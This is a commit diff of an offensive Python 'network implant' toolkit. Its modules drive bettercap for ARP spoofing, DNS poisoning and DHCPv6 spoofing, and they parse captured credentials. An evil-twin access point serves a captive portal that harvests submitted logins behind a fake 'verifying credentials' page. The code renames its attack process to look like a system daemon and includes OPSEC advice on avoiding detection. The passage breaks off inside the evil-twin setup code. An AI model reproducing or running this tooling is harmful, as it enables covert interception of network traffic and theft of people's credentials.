Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
n0mad1k
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
+3
View File
@@ -0,0 +1,3 @@
from modules.base import BaseModule
__all__ = ["BaseModule"]
+23
View File
@@ -0,0 +1,23 @@
"""SystemMonitor active modules — MITM, spoofing, and interception."""
from modules.active.bettercap_mgr import BettercapManager
from modules.active.arp_spoof import ARPSpoof
from modules.active.dns_poison import DNSPoison
from modules.active.dhcp_spoof import DHCPSpoof
from modules.active.evil_twin import EvilTwin
from modules.active.ipv6_slaac import IPv6SLAAC
from modules.active.responder_mgr import ResponderManager
from modules.active.mitmproxy_mgr import MitmproxyManager
from modules.active.ntlm_relay import NTLMRelay
__all__ = [
"BettercapManager",
"ARPSpoof",
"DNSPoison",
"DHCPSpoof",
"EvilTwin",
"IPv6SLAAC",
"ResponderManager",
"MitmproxyManager",
"NTLMRelay",
]
+184
View File
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
- EDR/NDR solutions alert within minutes.
- Prefer Responder + IPv6 SLAAC for initial access.
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
- Always run ids_tester DAI probe first to check viability.
Configures targets + gateway, then delegates to BettercapManager to
enable arp.spoof module. Full-duplex by default for complete MITM.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class ARPSpoof(BaseModule):
"""ARP spoofing via bettercap — full-duplex MITM.
Dependencies:
- bettercap_mgr must be running.
Configuration:
targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
gateway: Gateway IP to spoof (e.g., "192.168.1.1")
fullduplex: True for bidirectional spoofing (default True)
internal: Spoof between targets, not just target<->gateway (default False)
"""
name = "arp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._targets: Optional[str] = None
self._gateway: Optional[str] = None
self._fullduplex = True
self._internal = False
self._spoofing = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("ARPSpoof requires bettercap_mgr reference in config")
return
# Check if ARP was disabled by crash recovery
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error(
"ARP spoofing disabled by crash recovery — "
"bettercap crashed too many times with ARP spoof active"
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ARPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ARPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"targets": self._targets,
"gateway": self._gateway,
"fullduplex": self._fullduplex,
"internal": self._internal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "fullduplex" in config:
self._fullduplex = config["fullduplex"]
if "internal" in config:
self._internal = config["internal"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, targets: str, gateway: str) -> bool:
"""Enable ARP spoofing for specified targets and gateway.
Args:
targets: Comma-separated target IPs or CIDR.
gateway: Gateway IP address.
Returns:
True if spoofing was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("ARPSpoof not started")
return False
if self._bettercap_mgr._arp_disabled_by_crash:
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
return False
try:
# Configure ARP spoof parameters
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
self._bettercap_mgr.run_command(
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
)
self._bettercap_mgr.run_command(
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
)
# Enable ARP spoofing
self._bettercap_mgr.run_command("arp.spoof on")
self._targets = targets
self._gateway = gateway
self._spoofing = True
# Inform bettercap_mgr for crash recovery tracking
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
self.state.set(self.name, "targets", targets)
self.state.set(self.name, "gateway", gateway)
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
return True
except Exception:
logger.exception("Failed to enable ARP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable ARP spoofing and send corrective ARPs.
Returns:
True if spoofing was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("arp.spoof off")
self._spoofing = False
self._bettercap_mgr.set_spoofing_state(False)
self.state.set(self.name, "targets", "")
self.state.set(self.name, "gateway", "")
logger.info("ARP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable ARP spoofing")
return False
+516
View File
@@ -0,0 +1,516 @@
#!/usr/bin/env python3
"""Central bettercap orchestrator — single instance, shared by all active modules.
Manages the bettercap subprocess lifecycle, REST API health monitoring,
event stream parsing, caplet management, and crash recovery with corrective
gratuitous ARPs.
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
route commands through this manager via run_command() and the BettercapAPI
client.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
class BettercapManager(BaseModule):
"""Central bettercap instance manager.
Responsibilities:
- Start/stop bettercap with random per-session API credentials
- Health monitoring via GET /api/session every 10s
- Auto-restart on crash (max 3) with caplet re-application
- Crash recovery: gratuitous ARP correction if spoofing was active
- Parse event stream for credentials and host discoveries
- Caplet management: load/unload/switch from config/caplets/
- Process disguise coordination
"""
name = "bettercap_mgr"
module_type = "active"
priority = 50
requires_root = True
HEALTH_POLL_INTERVAL = 10 # seconds
EVENT_POLL_INTERVAL = 5 # seconds
MAX_CRASH_RESTARTS = 3
RESTART_WINDOW = 15 # seconds — restart within this window after crash
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._api: Optional[BettercapAPI] = None
self._proc: Optional[subprocess.Popen] = None
self._health_thread: Optional[threading.Thread] = None
self._event_thread: Optional[threading.Thread] = None
self._crash_count = 0
self._last_event_id = 0
self._active_caplet: Optional[str] = None
self._spoofing_active = False
self._spoof_targets: Optional[str] = None
self._spoof_gateway: Optional[str] = None
self._arp_disabled_by_crash = False
self._lock = threading.Lock()
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
self._iface = config.get("interface", "eth0")
self._api_host = "127.0.0.1"
self._api_port = config.get("bettercap_api_port", 8083)
self._caplet_dir = config.get(
"caplet_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
)
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Initialise REST API client with fresh random credentials
self._api = BettercapAPI(
host=self._api_host,
port=self._api_port,
)
if not self._start_bettercap():
logger.error("Failed to start bettercap subprocess")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._crash_count = 0
# Health monitoring thread
self._health_thread = threading.Thread(
target=self._health_loop, daemon=True, name="sensor-bcap-health"
)
self._health_thread.start()
# Event stream parser thread
self._event_thread = threading.Thread(
target=self._event_loop, daemon=True, name="sensor-bcap-events"
)
self._event_thread.start()
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
logger.info(
"BettercapManager started (api=%s:%d, iface=%s)",
self._api_host, self._api_port, self._iface,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Stop ARP spoofing cleanly before shutdown
if self._spoofing_active:
try:
self._api.run("arp.spoof off")
except Exception:
pass
self._spoofing_active = False
self._stop_bettercap()
self.state.set_module_status(self.name, "stopped")
logger.info("BettercapManager stopped")
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running and alive,
"pid": self._get_proc_pid(),
"uptime": time.time() - self._start_time if self._start_time else 0,
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
"active_caplet": self._active_caplet,
"arp_disabled_by_crash": self._arp_disabled_by_crash,
"api_port": self._api_port,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
def health_check(self) -> bool:
if not self._running:
return False
if self._api is None:
return False
try:
return self._api.is_alive()
except Exception:
return False
# ------------------------------------------------------------------
# Public API — used by other active modules
# ------------------------------------------------------------------
def run_command(self, cmd: str) -> dict:
"""Execute a bettercap command via REST API.
Args:
cmd: bettercap command string (e.g., "arp.spoof on")
Returns:
API response dict.
Raises:
ConnectionError: If bettercap is unreachable.
"""
if self._api is None:
raise ConnectionError("BettercapManager not started")
return self._api.run(cmd)
def load_caplet(self, name: str) -> dict:
"""Load a caplet from the caplet directory.
Args:
name: Caplet filename (e.g., "passive_recon.cap").
Returns:
API response dict.
"""
caplet_path = os.path.join(self._caplet_dir, name)
if not os.path.isfile(caplet_path):
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
result = self._api.load_caplet(caplet_path)
self._active_caplet = name
self.state.set(self.name, "active_caplet", name)
logger.info("Loaded caplet: %s", name)
return result
def get_hosts(self) -> list:
"""Return discovered hosts from bettercap session."""
if self._api is None:
return []
try:
return self._api.get_hosts()
except Exception:
return []
def is_spoofing(self) -> bool:
"""Return True if ARP spoofing is currently active."""
return self._spoofing_active
def set_spoofing_state(self, active: bool, targets: str = None,
gateway: str = None) -> None:
"""Track ARP spoofing state for crash recovery."""
with self._lock:
self._spoofing_active = active
self._spoof_targets = targets
self._spoof_gateway = gateway
def get_api(self) -> Optional[BettercapAPI]:
"""Return the BettercapAPI client instance."""
return self._api
# ------------------------------------------------------------------
# Subprocess management
# ------------------------------------------------------------------
def _start_bettercap(self) -> bool:
"""Launch bettercap subprocess with REST API."""
cmd = [
self._binary,
"-iface", self._iface,
"-no-history",
] + self._api.api_flags
env = dict(os.environ)
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
preexec_fn=self._make_preexec(self._disguise_name),
)
except FileNotFoundError:
logger.error("bettercap binary not found: %s", self._binary)
return False
except Exception as e:
logger.error("Failed to start bettercap: %s", e)
return False
# Wait for API to become available (up to 15s)
deadline = time.time() + 15
while time.time() < deadline:
if self._api.is_alive():
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
return True
time.sleep(0.5)
logger.error("bettercap API did not become ready within 15s")
self._stop_bettercap()
return False
def _stop_bettercap(self) -> None:
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
proc = self._proc
if proc is None or proc.poll() is not None:
self._proc = None
return
try:
proc.terminate()
except OSError:
pass
try:
proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
try:
proc.kill()
proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
def _get_proc_pid(self) -> Optional[int]:
if self._proc and self._proc.poll() is None:
return self._proc.pid
return None
# ------------------------------------------------------------------
# Crash recovery
# ------------------------------------------------------------------
def _handle_crash(self) -> None:
"""Handle bettercap crash: corrective ARPs, then restart.
If ARP spoofing was active, immediately send corrective gratuitous
ARPs to restore network state. Disable ARP spoofing after 3 crashes
to prevent a crash loop from disrupting the network.
"""
self._crash_count += 1
logger.warning(
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
)
self.bus.emit(
"TOOL_CRASHED",
{
"tool": "bettercap",
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
},
source_module=self.name,
)
# Send corrective gratuitous ARPs if spoofing was active
if self._spoofing_active and self._spoof_gateway:
self._send_corrective_arps()
# Disable ARP spoof after max crashes to break crash loops
if self._crash_count >= self.MAX_CRASH_RESTARTS:
if self._spoofing_active:
logger.error(
"ARP spoof disabled after %d crashes — network stability risk",
self._crash_count,
)
self._arp_disabled_by_crash = True
self._spoofing_active = False
self.state.set(self.name, "arp_disabled_by_crash", "true")
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
self._running = False
self.state.set_module_status(self.name, "crashed")
return
# Restart bettercap within RESTART_WINDOW
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
time.sleep(backoff)
if self._start_bettercap():
logger.info("bettercap restarted successfully")
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
# Re-apply active caplet
if self._active_caplet:
try:
self.load_caplet(self._active_caplet)
except Exception:
logger.exception("Failed to re-apply caplet after restart")
# Re-enable ARP spoofing if it was active and not disabled
if self._spoofing_active and not self._arp_disabled_by_crash:
try:
if self._spoof_targets:
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
self._api.run("arp.spoof on")
logger.info("ARP spoofing re-enabled after restart")
except Exception:
logger.exception("Failed to re-enable ARP spoof after restart")
else:
logger.error("bettercap restart failed")
self._running = False
self.state.set_module_status(self.name, "crashed")
def _send_corrective_arps(self) -> None:
"""Send corrective gratuitous ARPs to restore network after crash.
Uses scapy to send a few gratuitous ARP packets with the real
gateway MAC to undo any poisoned ARP caches.
"""
try:
from scapy.all import ARP, Ether, sendp, getmacbyip
except ImportError:
logger.warning("scapy not available — cannot send corrective ARPs")
return
gateway = self._spoof_gateway
if not gateway:
return
try:
gw_mac = getmacbyip(gateway)
if not gw_mac:
logger.warning("Could not resolve gateway MAC for corrective ARPs")
return
# Gratuitous ARP: gateway telling everyone its real MAC
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, # is-at
psrc=gateway,
hwsrc=gw_mac,
pdst=gateway,
hwdst="ff:ff:ff:ff:ff:ff",
)
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
except Exception:
logger.exception("Failed to send corrective ARPs")
# ------------------------------------------------------------------
# Health monitoring loop
# ------------------------------------------------------------------
def _health_loop(self) -> None:
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
while self._running:
time.sleep(self.HEALTH_POLL_INTERVAL)
if not self._running:
break
# Check if process is still alive
if self._proc and self._proc.poll() is not None:
self._handle_crash()
continue
# Check API responsiveness
try:
if not self._api.is_alive():
logger.warning("bettercap API unresponsive — checking process")
if self._proc and self._proc.poll() is not None:
self._handle_crash()
except Exception:
logger.exception("Health check error")
# ------------------------------------------------------------------
# Event stream parser
# ------------------------------------------------------------------
def _event_loop(self) -> None:
"""Poll bettercap event stream for credentials and host discoveries."""
while self._running:
time.sleep(self.EVENT_POLL_INTERVAL)
if not self._running:
break
try:
events = self._api.get_events(since=self._last_event_id)
except Exception:
continue
for event in events:
self._last_event_id += 1
self._process_event(event)
def _process_event(self, event: dict) -> None:
"""Parse a single bettercap event and emit bus events as needed."""
tag = event.get("tag", "")
data = event.get("data", {})
# Credential captures from HTTP proxy, net.sniff, etc.
if tag in ("net.sniff.credentials", "http.proxy.credentials",
"https.proxy.credentials"):
self._handle_credential_event(data)
# Host discovery events
elif tag in ("endpoint.new", "endpoint.detected"):
self._handle_host_event(data)
# Module status events
elif tag.startswith("mod."):
logger.debug("bettercap module event: %s", tag)
def _handle_credential_event(self, data: dict) -> None:
"""Emit CREDENTIAL_FOUND for captured credentials."""
payload = {
"source_module": self.name,
"source_ip": data.get("from", ""),
"target_ip": data.get("to", ""),
"target_service": data.get("proto", "unknown"),
"username": data.get("username", ""),
"credential_type": data.get("type", "cleartext"),
"credential_value": data.get("password", data.get("hash", "")),
"raw_data": data,
}
emit_credential_found(self.bus, self.name, payload)
logger.info(
"Credential captured: %s@%s (%s)",
payload["username"], payload["target_ip"], payload["target_service"],
)
def _handle_host_event(self, data: dict) -> None:
"""Emit HOST_DISCOVERED for new network hosts."""
payload = {
"source_module": self.name,
"ip": data.get("ipv4", data.get("addr", "")),
"mac": data.get("mac", ""),
"hostname": data.get("hostname", ""),
"vendor": data.get("vendor", ""),
"os": data.get("os", ""),
"raw_data": data,
}
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
@staticmethod
def _make_preexec(disguise_name: str):
"""Return a preexec_fn that renames the process via prctl."""
def _preexec():
try:
import ctypes
libc = ctypes.CDLL("libc.so.6", use_errno=True)
PR_SET_NAME = 15
name_bytes = disguise_name[:15].encode("utf-8")
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
except Exception:
pass
return _preexec
+151
View File
@@ -0,0 +1,151 @@
#!/usr/bin/env python3
"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap.
Uses bettercap's dhcp6.spoof module to win DHCP races and inject
a rogue DNS server (the implant) into client configurations.
This enables DNS-based MITM without ARP spoofing.
"""
import logging
import os
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class DHCPSpoof(BaseModule):
"""DHCP spoofing via bettercap dhcp6.spoof.
Sets up a rogue DHCPv6 server that responds to DHCP requests,
injecting the implant as the DNS server. Combined with DNS
poisoning, this provides full MITM without ARP cache manipulation.
Dependencies:
- bettercap_mgr must be running.
Configuration:
dns_server: DNS server IP to inject (default: implant IP)
gateway: Gateway IP to advertise
"""
name = "dhcp_spoof"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._spoofing = False
self._dns_server: Optional[str] = None
self._gateway: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DHCPSpoof requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DHCPSpoof module started (ready for spoof commands)")
def stop(self) -> None:
if not self._running:
return
if self._spoofing:
self.stop_spoof()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DHCPSpoof module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"spoofing": self._spoofing,
"dns_server": self._dns_server,
"gateway": self._gateway,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def spoof(self, dns_server: str, gateway: str) -> bool:
"""Enable DHCP spoofing with rogue DNS server.
Args:
dns_server: IP to inject as DNS server (typically the implant IP).
gateway: Gateway IP to advertise in DHCP responses.
Returns:
True if DHCP spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DHCPSpoof not started")
return False
try:
# Configure dhcp6.spoof parameters
self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *")
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._spoofing = True
self._dns_server = dns_server
self._gateway = gateway
self.state.set(self.name, "dns_server", dns_server)
self.state.set(self.name, "gateway", gateway)
logger.info(
"DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway
)
return True
except Exception:
logger.exception("Failed to enable DHCP spoofing")
return False
def stop_spoof(self) -> bool:
"""Disable DHCP spoofing.
Returns:
True if DHCP spoofing was stopped.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._spoofing = False
self._dns_server = None
self._gateway = None
self.state.set(self.name, "dns_server", "")
self.state.set(self.name, "gateway", "")
logger.info("DHCP spoofing disabled")
return True
except Exception:
logger.exception("Failed to disable DHCP spoofing")
return False
+201
View File
@@ -0,0 +1,201 @@
#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""
import logging
import os
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class DNSPoison(BaseModule):
"""DNS poisoning via bettercap dns.spoof module.
Dependencies:
- bettercap_mgr must be running.
Configuration:
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
target_ip: IP to redirect poisoned domains to (default: implant IP)
zone_file: Path to zone template for selective redirection
"""
name = "dns_poison"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._poisoning = False
self._domains: Optional[str] = None
self._target_ip: Optional[str] = None
self._zone_dir = config.get(
"zone_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("DNSPoison requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("DNSPoison module started (ready for poison commands)")
def stop(self) -> None:
if not self._running:
return
if self._poisoning:
self.stop_poison()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("DNSPoison module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"poisoning": self._poisoning,
"domains": self._domains,
"target_ip": self._target_ip,
}
def configure(self, config: dict) -> None:
self.config.update(config)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def poison(self, domains: str, target_ip: str) -> bool:
"""Enable DNS poisoning for specified domains.
Args:
domains: Comma-separated domains or wildcards
(e.g., "*.corp.local,login.example.com").
target_ip: IP address to redirect poisoned domains to.
Returns:
True if DNS poisoning was enabled successfully.
"""
if not self._running or not self._bettercap_mgr:
logger.error("DNSPoison not started")
return False
try:
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
self._bettercap_mgr.run_command("dns.spoof on")
self._poisoning = True
self._domains = domains
self._target_ip = target_ip
self.state.set(self.name, "domains", domains)
self.state.set(self.name, "target_ip", target_ip)
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
return True
except Exception:
logger.exception("Failed to enable DNS poisoning")
return False
def load_zone(self, zone_file: str) -> bool:
"""Load a zone template and apply DNS poisoning rules.
Zone file format (one entry per line):
domain.com 192.168.1.100
*.corp.local 192.168.1.100
# comments ignored
Args:
zone_file: Filename within the zone_dir (e.g., "selective.zone").
Returns:
True if zone was loaded and applied.
"""
zone_path = os.path.join(self._zone_dir, zone_file)
if not os.path.isfile(zone_path):
logger.error("Zone file not found: %s", zone_path)
return False
try:
domains = []
target_ip = None
with open(zone_path, "r") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#"):
continue
parts = line.split()
if len(parts) >= 2:
domains.append(parts[0])
# Use the last IP seen as target
target_ip = parts[1]
elif len(parts) == 1:
domains.append(parts[0])
if not domains:
logger.warning("Zone file %s contains no entries", zone_file)
return False
if not target_ip:
target_ip = self.config.get("implant_ip", "127.0.0.1")
return self.poison(",".join(domains), target_ip)
except Exception:
logger.exception("Failed to load zone file: %s", zone_file)
return False
def stop_poison(self) -> bool:
"""Disable DNS poisoning.
Returns:
True if DNS poisoning was stopped successfully.
"""
if not self._bettercap_mgr:
return False
try:
self._bettercap_mgr.run_command("dns.spoof off")
self._poisoning = False
self._domains = None
self._target_ip = None
self.state.set(self.name, "domains", "")
self.state.set(self.name, "target_ip", "")
logger.info("DNS poisoning disabled")
return True
except Exception:
logger.exception("Failed to disable DNS poisoning")
return False
+554
View File
@@ -0,0 +1,554 @@
#!/usr/bin/env python3
"""Evil Twin AP module — hostapd-based rogue access point with captive portal.
Creates a wireless access point matching a target SSID, combined with
a captive portal served via a lightweight HTTP server. dnsmasq provides
DHCP and DNS for connected clients, redirecting all DNS to the portal.
OPSEC: Run wireless_intel module for 2-hour observation before activation
to detect WIDS/WIPS and understand target AP parameters.
Resources: ~30MB RAM, ~5% CPU
"""
import http.server
import logging
import os
import signal
import socketserver
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Default dnsmasq config for captive portal
DNSMASQ_CONF_TEMPLATE = """interface={iface}
dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h
dhcp-option=3,{gateway}
dhcp-option=6,{gateway}
address=/#/{gateway}
no-resolv
log-queries
log-facility=/tmp/bb-dnsmasq.log
"""
class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler):
"""HTTP handler for the captive portal.
Serves the portal HTML for GET requests and captures POST data
(credentials) from login forms.
"""
portal_html = ""
credential_callback = None
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(self.portal_html.encode("utf-8"))
def do_POST(self):
content_length = int(self.headers.get("Content-Length", 0))
post_data = self.rfile.read(content_length).decode("utf-8", errors="replace")
if self.credential_callback:
self.credential_callback(self.client_address[0], post_data)
# Redirect to a "success" page after capture
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
success_html = (
"<html><body><h2>Connecting...</h2>"
"<p>Please wait while we verify your credentials.</p>"
"<script>setTimeout(function(){window.location='/'},5000);</script>"
"</body></html>"
)
self.wfile.write(success_html.encode("utf-8"))
def log_message(self, format, *args):
"""Suppress default HTTP logging to avoid console noise."""
pass
class EvilTwin(BaseModule):
"""Evil Twin AP with captive portal credential harvesting.
Creates a rogue AP matching a target SSID using hostapd, serves a
captive portal, and captures credentials from connecting clients.
Dependencies:
- hostapd (system package)
- dnsmasq (system package)
- Wireless interface capable of AP mode
Configuration:
wifi_iface: Wireless interface for AP mode (e.g., "wlan0")
portal_dir: Path to captive portal HTML templates
"""
name = "evil_twin"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._hostapd_proc: Optional[subprocess.Popen] = None
self._dnsmasq_proc: Optional[subprocess.Popen] = None
self._portal_thread: Optional[threading.Thread] = None
self._portal_server: Optional[socketserver.TCPServer] = None
self._wifi_iface = config.get("wifi_iface", "wlan0")
self._ap_active = False
self._ssid: Optional[str] = None
self._channel = 6
self._portal_template: Optional[str] = None
self._clients: list = []
self._clients_lock = threading.Lock()
self._captured_creds: list = []
self._creds_lock = threading.Lock()
self._portal_port = config.get("portal_port", 80)
self._gateway_ip = config.get("ap_gateway", "10.0.0.1")
self._dhcp_start = config.get("dhcp_start", "10.0.0.10")
self._dhcp_end = config.get("dhcp_end", "10.0.0.250")
self._template_dir = config.get(
"portal_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"),
)
self._hostapd_template_dir = config.get(
"hostapd_template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"),
)
self._tmp_dir = "/tmp/bb-evil-twin"
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._tmp_dir).mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("EvilTwin module started (ready for AP creation)")
def stop(self) -> None:
if not self._running:
return
if self._ap_active:
self.stop_ap()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("EvilTwin module stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"ap_active": self._ap_active,
"ssid": self._ssid,
"channel": self._channel,
"interface": self._wifi_iface,
"client_count": len(self._clients),
"captured_creds": len(self._captured_creds),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "wifi_iface" in config:
self._wifi_iface = config["wifi_iface"]
if "portal_port" in config:
self._portal_port = config["portal_port"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def create_ap(self, ssid: str, channel: int = 6,
portal_template: str = "corporate_login.html") -> bool:
"""Create evil twin AP with captive portal.
Args:
ssid: Target SSID to clone.
channel: WiFi channel (default 6).
portal_template: Filename of HTML portal template.
Returns:
True if AP was created successfully.
"""
if not self._running:
logger.error("EvilTwin not started")
return False
if self._ap_active:
logger.warning("AP already active — stop it first")
return False
self._ssid = ssid
self._channel = channel
self._portal_template = portal_template
# Write hostapd config
hostapd_conf = self._generate_hostapd_config(ssid, channel)
hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf")
with open(hostapd_conf_path, "w") as f:
f.write(hostapd_conf)
# Configure wireless interface
if not self._setup_interface():
return False
# Start hostapd
if not self._start_hostapd(hostapd_conf_path):
self._teardown_interface()
return False
# Write and start dnsmasq
dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format(
iface=self._wifi_iface,
dhcp_start=self._dhcp_start,
dhcp_end=self._dhcp_end,
gateway=self._gateway_ip,
)
dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf")
